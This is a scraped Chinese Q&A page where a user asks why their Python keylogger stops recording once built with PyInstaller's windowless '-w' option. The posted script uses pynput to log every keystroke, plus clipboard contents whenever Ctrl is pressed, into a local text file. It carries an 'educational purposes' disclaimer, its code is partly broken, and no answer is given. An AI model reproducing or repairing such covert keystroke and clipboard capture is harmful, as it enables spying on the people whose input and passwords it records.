问题描述
我想知道一旦我的程序通过 pyinstaller 转换为可执行文件后,如何让我的程序与文本文件进行交互。当您在 pycharm 和 idle 中运行该代码时,该代码有效,但是,当您将代码转换为可执行文件时,它不会记录按下的键,也不会将它们放入 .txt 文件中。感谢您的帮助,谢谢。
为了将 .py 转换为 .exe,我转到目录位置并从那里运行 cmd,我输入了“pyinstaller -w filename.py”,因此整个 cmd 行看起来像这样“D:\Documents\Coding Projects \Python\MyProject>pyinstaller -w 文件名.py" 从那里在目录中,它把它变成一个可执行文件。
.txt 文件是预先制作好的,放在与 .exe 相同的目录中
免责声明:这是一个我纯粹出于教育目的而开展的项目,以提高我的编码技能,以防万一。
代码:
import pyperclip
from datetime import datetime
from pynput.keyboard import Listener
Keystroke = 'logger.txt'
def log_key_press(key):
# Process the key press,get contents of the clipboard
key = str(key).replace("'","")
line_to_write = None
Now = str(datetime.Now())
if key == 'Ctrl':
line_to_write = f"{Now}: Clipboard - {pyperclip.paste()}"
else:
line_to_write = f"{Now}: key Press - {key}"
# Write output to file
with open(Keystroke,'a') as f:
f.write(f"{line_to_write}\n")
def start():
# figure out how to track key presses
with Listener(on_press=log_key_press) as l:
l.join()
if __name__ == '__main__':
start()
exi = input("Do you want to exit?")
if exi in ["y","Y"]:
exit
解决方法
暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!
如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。
小编邮箱:dio#foxmail.com (将#修改为@)